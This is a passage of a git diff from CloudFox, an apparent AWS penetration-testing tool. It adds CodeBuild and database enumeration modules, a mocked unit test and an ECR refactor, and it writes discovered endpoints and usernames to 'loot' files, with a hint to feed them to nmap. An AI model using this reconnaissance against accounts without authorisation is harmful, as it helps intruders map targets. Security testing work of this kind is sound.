}
|
||||
|
||||
func (m *CodeBuildModule) getcodeBuildProjectsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
|
||||
defer wg.Done()
|
||||
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
projects, err := sdk.CachedCodeBuildListProjects(m.CodeBuildClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
}
|
||||
|
||||
for _, project := range projects {
|
||||
details, err := sdk.CachedCodeBuildBatchGetProjects(m.CodeBuildClient, aws.ToString(m.Caller.Account), r, project)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
}
|
||||
|
||||
dataReceiver <- Project{
|
||||
Name: aws.ToString(details.Name),
|
||||
Region: r,
|
||||
Role: aws.ToString(details.ServiceRole),
|
||||
Admin: "",
|
||||
CanPrivEsc: "",
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/codebuild"
|
||||
"github.com/aws/aws-sdk-go-v2/service/codebuild/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
type mockedCodeBuildClient struct {
|
||||
}
|
||||
|
||||
func (m *mockedCodeBuildClient) ListProjects(ctx context.Context, params *codebuild.ListProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.ListProjectsOutput, error) {
|
||||
out := codebuild.ListProjectsOutput{
|
||||
Projects: []string{"test1", "test2"},
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func (m *mockedCodeBuildClient) BatchGetProjects(ctx context.Context, params *codebuild.BatchGetProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error) {
|
||||
project1out := codebuild.BatchGetProjectsOutput{
|
||||
Projects: []types.Project{
|
||||
{
|
||||
Name: aws.String("test1"),
|
||||
Environment: &types.ProjectEnvironment{
|
||||
Image: aws.String("aws/codebuild/standard:4.0"),
|
||||
},
|
||||
ServiceRole: aws.String("arn:aws:iam::123456789012:role/test1"),
|
||||
Source: &types.ProjectSource{
|
||||
Type: "CODECOMMIT",
|
||||
Location: aws.String("https://git-codecommit.us-east-1.amazonaws.com/v1/repos/test1"),
|
||||
},
|
||||
Artifacts: &types.ProjectArtifacts{
|
||||
Type: "S3",
|
||||
Location: aws.String("s3://test1"),
|
||||
},
|
||||
TimeoutInMinutes: aws.Int32(60),
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
project2out := codebuild.BatchGetProjectsOutput{
|
||||
Projects: []types.Project{
|
||||
{
|
||||
Name: aws.String("test2"),
|
||||
Environment: &types.ProjectEnvironment{
|
||||
Image: aws.String("aws/codebuild/standard:4.0"),
|
||||
},
|
||||
ServiceRole: aws.String("arn:aws:iam::123456789012:role/test2"),
|
||||
Source: &types.ProjectSource{
|
||||
Type: "GITHUB",
|
||||
Location: aws.String("https://test.github.com/test2"),
|
||||
},
|
||||
Artifacts: &types.ProjectArtifacts{
|
||||
Type: "S3",
|
||||
Location: aws.String("s3://test2"),
|
||||
},
|
||||
TimeoutInMinutes: aws.Int32(60),
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if params.Names[0] == "test1" {
|
||||
return &project1out, nil
|
||||
} else if params.Names[0] == "test2" {
|
||||
return &project2out, nil
|
||||
} else {
|
||||
return nil, nil
|
||||
}
|
||||
}
|
||||
|
||||
func (m *mockedCodeBuildClient) GetResourcePolicy(ctx context.Context, params *codebuild.GetResourcePolicyInput, optFns ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error) {
|
||||
out := codebuild.GetResourcePolicyOutput{
|
||||
Policy: aws.String(`{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"codebuild:StartBuild",
|
||||
"codebuild:BatchGetBuilds",
|
||||
"codebuild:StopBuild",
|
||||
"codebuild:ListProjects",
|
||||
"codebuild:BatchGetProjects"
|
||||
],
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}`),
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func TestCodeBuildProjects(t *testing.T) {
|
||||
|
||||
m := CodeBuildModule{
|
||||
CodeBuildClient: &mockedCodeBuildClient{},
|
||||
AWSProfile: "unittesting",
|
||||
AWSRegions: []string{"us-west-1"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/Alice"),
|
||||
Account: aws.String("123456789012"),
|
||||
},
|
||||
Goroutines: 3,
|
||||
WrapTable: true,
|
||||
SkipAdminCheck: true,
|
||||
}
|
||||
|
||||
fs := internal.MockFileSystem(true)
|
||||
defer internal.MockFileSystem(false)
|
||||
tmpDir := "."
|
||||
|
||||
// execute the module with verbosity set to 2
|
||||
m.PrintCodeBuildProjects("table", tmpDir, 2)
|
||||
|
||||
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/codebuild.txt")
|
||||
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
|
||||
}
|
||||
|
||||
expectedResults := strings.TrimLeft(`
|
||||
╭───────────┬───────┬──────────────────────────────────────┬──────────────╮
|
||||
│ Region │ Name │ Role │ IsAdminRole? │
|
||||
├───────────┼───────┼──────────────────────────────────────┼──────────────┤
|
||||
│ us-west-1 │ test1 │ arn:aws:iam::123456789012:role/test1 │ Skipped │
|
||||
│ us-west-1 │ test2 │ arn:aws:iam::123456789012:role/test2 │ Skipped │
|
||||
╰───────────┴───────┴──────────────────────────────────────┴──────────────╯
|
||||
`, "\n")
|
||||
fmt.Println(expectedResults)
|
||||
fmt.Println("results file")
|
||||
fmt.Println(string(resultsFile))
|
||||
|
||||
if string(resultsFile) != expectedResults {
|
||||
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,451 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type DatabasesModule struct {
|
||||
RDSClient sdk.RDSClientInterface
|
||||
RedshiftClient sdk.RedShiftClientInterface
|
||||
DynamoDBClient sdk.DynamoDBClientInterface
|
||||
DocDBClient sdk.DocDBClientInterface
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
|
||||
Databases []Database
|
||||
CommandCounter internal.CommandCounter
|
||||
Errors []string
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
}
|
||||
|
||||
type Database struct {
|
||||
AWSService string
|
||||
Region string
|
||||
Engine string
|
||||
Name string
|
||||
Arn string
|
||||
UserName string
|
||||
Endpoint string
|
||||
Port int32
|
||||
Protocol string
|
||||
Public string
|
||||
Size string
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) PrintDatabases(outputFormat string, outputDirectory string, verbosity int) {
|
||||
// These stuct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "databases"
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating databases for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Supported Services: RDS, DynamoDB\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
|
||||
|
||||
//create a channel to receive the objects
|
||||
dataReceiver := make(chan Database)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
receiverDone := make(chan bool)
|
||||
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
//execute regional checks
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
sort.Slice(m.Databases, func(i, j int) bool {
|
||||
return m.Databases[i].AWSService < m.Databases[j].AWSService
|
||||
})
|
||||
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Engine",
|
||||
"Region",
|
||||
"Name",
|
||||
"Size",
|
||||
"UserName",
|
||||
"Endpoint",
|
||||
//"Port",
|
||||
//"Protocol",
|
||||
//"Public",
|
||||
|
||||
}
|
||||
|
||||
// Table rows
|
||||
for i := range m.Databases {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Databases[i].AWSService,
|
||||
m.Databases[i].Engine,
|
||||
m.Databases[i].Region,
|
||||
m.Databases[i].Name,
|
||||
m.Databases[i].Size,
|
||||
m.Databases[i].UserName,
|
||||
m.Databases[i].Endpoint,
|
||||
// strconv.Itoa(int(m.Databases[i].Port)),
|
||||
// m.Databases[i].Protocol,
|
||||
// m.Databases[i].Public,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s databases found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No databases found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) Receiver(receiver chan Database, receiverDone chan bool) {
|
||||
defer close(receiverDone)
|
||||
for {
|
||||
select {
|
||||
case data := <-receiver:
|
||||
m.Databases = append(m.Databases, data)
|
||||
case <-receiverDone:
|
||||
receiverDone <- true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("rds", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
go m.getRdsClustersPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("redshift", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getRedshiftDatabasesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("dynamodb", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getDynamoDBTablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("docdb", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getDocDBTablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
path := filepath.Join(outputDirectory, "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
panic(err.Error())
|
||||
}
|
||||
f := filepath.Join(path, "databases-UrlsOnly.txt")
|
||||
|
||||
var out string
|
||||
|
||||
for _, database := range m.Databases {
|
||||
out = out + fmt.Sprintln(database.Endpoint)
|
||||
}
|
||||
|
||||
err = os.WriteFile(f, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
panic(err.Error())
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
fmt.Println()
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Feed this databases into nmap and something like gowitness/aquatone for screenshots."))
|
||||
fmt.Print(out)
|
||||
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
|
||||
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
|
||||
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
var public string
|
||||
for _, instance := range DBInstances {
|
||||
if instance.Endpoint != nil {
|
||||
name := aws.ToString(instance.DBInstanceIdentifier)
|
||||
port := instance.Endpoint.Port
|
||||
endpoint := aws.ToString(instance.Endpoint.Address)
|
||||
engine := aws.ToString(instance.Engine)
|
||||
|
||||
if instance.PubliclyAccessible {
|
||||
public = "True"
|
||||
} else {
|
||||
public = "False"
|
||||
}
|
||||
|
||||
dataReceiver <- Database{
|
||||
AWSService: "RDS",
|
||||
Region: r,
|
||||
Name: name,
|
||||
Engine: engine,
|
||||
Endpoint: endpoint,
|
||||
UserName: aws.ToString(instance.MasterUsername),
|
||||
Port: port,
|
||||
Protocol: aws.ToString(instance.Engine),
|
||||
Public: public,
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
awsService := "Redshift"
|
||||
protocol := "https"
|
||||
|
||||
Clusters, err := sdk.CachedRedShiftDescribeClusters(m.RedshiftClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
var public string
|
||||
for _, cluster := range Clusters {
|
||||
name := aws.ToString(cluster.DBName)
|
||||
//id := workspace.Id
|
||||
endpoint := aws.ToString(cluster.Endpoint.Address)
|
||||
|
||||
if cluster.PubliclyAccessible {
|
||||
public = "True"
|
||||
} else {
|
||||
public = "False"
|
||||
}
|
||||
port := cluster.Endpoint.Port
|
||||
dataReceiver <- Database{
|
||||
AWSService: awsService,
|
||||
Region: r,
|
||||
Name: name,
|
||||
Endpoint: endpoint,
|
||||
Port: port,
|
||||
Protocol: protocol,
|
||||
Public: public,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
awsService := "DynamoDB"
|
||||
|
||||
Tables, err := sdk.CachedDynamoDBListTables(m.DynamoDBClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, table := range Tables {
|
||||
//get size of dynamodb table
|
||||
TableOutput, err := sdk.CachedDynamoDBDescribeTable(m.DynamoDBClient, aws.ToString(m.Caller.Account), r, table)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
size := aws.ToInt64(TableOutput.TableSizeBytes)
|
||||
|
||||
dataReceiver <- Database{
|
||||
AWSService: awsService,
|
||||
Region: r,
|
||||
Name: table,
|
||||
Size: strconv.Itoa(int(size)),
|
||||
UserName: "N/A",
|
||||
Endpoint: "N/A",
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) getDocDBTablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
awsService := "DocDB"
|
||||
|
||||
Clusters, err := sdk.CachedDocDBDescribeDBClusters(m.DocDBClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, cluster := range Clusters {
|
||||
name := aws.ToString(cluster.DBClusterIdentifier)
|
||||
|
||||
endpoint := aws.ToString(cluster.Endpoint)
|
||||
port := aws.ToInt32(cluster.Port)
|
||||
//size := aws.ToInt64(TableOutput.Table.TableSizeBytes)
|
||||
userName := aws.ToString(cluster.MasterUsername)
|
||||
|
||||
dataReceiver <- Database{
|
||||
AWSService: awsService,
|
||||
Region: r,
|
||||
Name: name,
|
||||
Endpoint: endpoint,
|
||||
Port: port,
|
||||
UserName: userName,
|
||||
//Size: strconv.Itoa(int(size)),
|
||||
}
|
||||
}
|
||||
}
|
||||
+119
-108
@@ -1,7 +1,6 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -10,9 +9,10 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecr"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecr/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
@@ -21,11 +21,7 @@ import (
|
||||
|
||||
type ECRModule struct {
|
||||
// General configuration data
|
||||
ECRClient *ecr.Client
|
||||
// These interfaces are used for unit testing
|
||||
ECRClientDescribeReposInterface ecr.DescribeRepositoriesAPIClient
|
||||
ECRClientDescribeImagesInterface ecr.DescribeImagesAPIClient
|
||||
|
||||
ECRClient sdk.AWSECRClientInterface
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
@@ -49,6 +45,8 @@ type Repository struct {
|
||||
PushedAt string
|
||||
ImageTags string
|
||||
ImageSize int64
|
||||
Policy policy.Policy
|
||||
PolicyJSON string
|
||||
}
|
||||
|
||||
func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbosity int) {
|
||||
@@ -125,11 +123,27 @@ func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbos
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %s repositories found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No repositories found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -141,7 +155,7 @@ func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ecr", r)
|
||||
if err != nil {
|
||||
@@ -224,107 +238,104 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
var PaginationControl2 *string
|
||||
|
||||
for {
|
||||
DescribeRepositories, err := m.ECRClientDescribeReposInterface.DescribeRepositories(
|
||||
context.TODO(),
|
||||
&ecr.DescribeRepositoriesInput{
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *ecr.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
var allImages []types.ImageDetail
|
||||
var repoURI string
|
||||
var repoName string
|
||||
|
||||
DescribeRepositories, err := m.describeRepositories(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, repo := range DescribeRepositories {
|
||||
repoName = aws.ToString(repo.RepositoryName)
|
||||
repoURI = aws.ToString(repo.RepositoryUri)
|
||||
//created := *repo.CreatedAt
|
||||
//fmt.Printf("%s, %s, %s", repoName, repoURI, created)
|
||||
|
||||
images, err := m.describeImages(r, repoName)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
for _, repo := range DescribeRepositories.Repositories {
|
||||
repoName := aws.ToString(repo.RepositoryName)
|
||||
repoURI := aws.ToString(repo.RepositoryUri)
|
||||
//created := *repo.CreatedAt
|
||||
//fmt.Printf("%s, %s, %s", repoName, repoURI, created)
|
||||
var images []types.ImageDetail
|
||||
for {
|
||||
DescribeImages, err := m.ECRClientDescribeImagesInterface.DescribeImages(
|
||||
context.TODO(),
|
||||
&ecr.DescribeImagesInput{
|
||||
RepositoryName: &repoName,
|
||||
NextToken: PaginationControl2,
|
||||
},
|
||||
func(o *ecr.Options) {
|
||||
o.Region = r
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
//images := DescribeImages.ImageDetails
|
||||
images = append(images, DescribeImages.ImageDetails...)
|
||||
|
||||
if DescribeImages.NextToken != nil {
|
||||
PaginationControl2 = DescribeImages.NextToken
|
||||
} else {
|
||||
|
||||
// not sure if this is the right way to do this, but adding this code here was the only way i could
|
||||
// sort the results from all pages to look for the latest push.
|
||||
PaginationControl2 = nil
|
||||
|
||||
sort.Slice(images, func(i, j int) bool {
|
||||
return images[i].ImagePushedAt.Format("2006-01-02 15:04:05") < images[j].ImagePushedAt.Format("2006-01-02 15:04:05")
|
||||
})
|
||||
|
||||
var image types.ImageDetail
|
||||
var imageTags string
|
||||
|
||||
if len(images) > 1 {
|
||||
image = images[len(images)-1]
|
||||
} else if len(images) == 1 {
|
||||
image = images[0]
|
||||
} else {
|
||||
|
||||
break
|
||||
}
|
||||
|
||||
if len(image.ImageTags) > 0 {
|
||||
imageTags = image.ImageTags[0]
|
||||
}
|
||||
//imageTags := image.ImageTags[0]
|
||||
pushedAt := image.ImagePushedAt.Format("2006-01-02 15:04:05")
|
||||
imageSize := aws.ToInt64(image.ImageSizeInBytes)
|
||||
pullURI := fmt.Sprintf("%s:%s", repoURI, imageTags)
|
||||
|
||||
